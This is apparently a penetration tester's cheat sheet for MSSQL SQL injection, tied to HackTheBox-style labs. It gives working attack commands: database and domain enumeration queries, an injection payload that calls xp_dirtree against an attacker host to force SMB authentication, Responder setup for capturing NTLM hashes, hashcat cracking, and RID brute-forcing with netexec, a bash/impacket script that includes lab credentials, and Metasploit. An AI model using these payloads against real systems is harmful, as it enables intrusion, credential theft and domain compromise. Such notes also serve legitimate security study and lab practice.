SQLI MSSQL

PRIMARY CATEGORY → SQLi

DB Information

Current Database User

SELECT USER_NAME();

Current Database

SELECT DB_NAME();

Databases

SELECT name FROM sys.databases;

Table

SELECT name FROM <DATABASE>.sys.tables;
SELECT table_name FROM <DATABASE>.information_schema.tables;

Columns

SELECT column_name FROM <DATABASE>.information_schema.columns WHERE table_name='<TABLE>';

Data

SELECT <COLUMN> FROM <DATABASE>.<SCHEMA>.<TABLE>;

e.g.

SELECT username, password FROM streamio_backup.dbo.users;

---

Privileges and Roles

SELECT IS_SRVROLEMEMBER('sysadmin');

---

Read Files

🛠️⌛

System

Web Application

---

Write Files

🛠️⌛

---

Command Execution

See MSSQL Command Execution

---

NTLM Capture / Relay Primitives

NTLM Capture

See NTLM Capture

Setting up the SMB Server

From the attacker ⚔️

• Responder

Setup

git clone https://github.com/lgandx/Responder Responder
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt

Usage

python3 Responder.py --interface '<NET_IFACE>'

Forcing SMB Authentication

From the Webapp 🎯

q=' AND 1=1 ; use master ; exec xp_dirtree '\\<ATTACKER_IP>\<SHARE>' -- -

e.g.

q=' AND 1=1 ; use master ; exec xp_dirtree '\\10.10.10.15\smbFolder' -- -

Cracking NetNTLMv2 Response

From the attacker ⚔️

• Hashcat

hashcat --force -O --attack-mode 0 --hash-type 5600 <HASH_FILE> <WORDLIST>

e.g.

hashcat --force -O --attack-mode 0 --hash-type 5600 hash /usr/share/wordlists/rockyou.txt

NTLM Relay

See NTLM Relay over HTTP

---

Domain Objects Enumeration

Domain

Name

SELECT DEFAULT_DOMAIN() as mydomain;

SID

Since there is no function that list the current DOMAIN SID, we can leverage the SUSER_SID function to retrieve the SID of an specific domain object, such as a group

HEX Output

SELECT SUSER_SID('<DOMAIN>\<ANY_DOMAIN_GROUP>')

Command Output

0105000000000005150000009d2c17f321e7f058e982129900020000 	

From here, we can grab the first 48 bytes to obtain the DOMAIN SID

Users

• Netexec

nxc mssql '<TARGET>' --username '<USER>' --password '<PASSWD>' --rid-brute '<MAX_RID>' 

e.g.

nxc mssql DC01 --username 'john.doe' --password 'password1234$!' --rid-brute 5000

• Bash + Impacket’s MSSQLclient.py

Snippet

#!/bin/bash
 
check_rid() {
    SID_BASE="<HEX_ENCODED_DOMAIN_SID>" # e.g. 010500000000000515000000a185deefb22433798d8e847a
    local RID=$1
    local HEX_RID=$(python -c "import struct; print(struct.pack('<I', ${RID}).hex())")
    local SID="${SID_BASE}${HEX_RID}"
    local RES=$(mssqlclient.py SQLGuest:zDPBpaF4FywlqIv11vii@dc.redelegate.vl -file <( echo "select SUSER_SNAME(0x${SID});") 2>&1 | sed -n '/^----/{n;p;}')
 
    if [[ "$(echo "$RES" | xargs)" != "NULL" ]]; then echo "${RID}: ${RES}"; fi
}
 
export -f check_rid 
seq 1000 1500 | xargs -P 48 -I{} bash -c 'check_rid $@' _ {}
 

• Metasploit

> use auxiliary/admin/mssql/mssql_enum_domain_accounts
> set rhost '<TARGET>'
> set rport '<MSSQL_PORT>'
> set username '<USERNAME>'
> set password '<PASSWD>'
> set fuzznum <MAX_RID> # e.g. 10000
> run

Groups

SYSADMIN DB Role required

EXEC xp_enumgroups '<DOMAIN>';

Group Members

SYSADMIN DB Role required

EXEC xp_logininfo '<DOMAIN>\<GROUP>', 'members';

Resources

0xdf: Redelegate HTB

Netspi: Enumerating Domain Accounts

---

Resources

PayloadAllTheThings: MSSQL Injection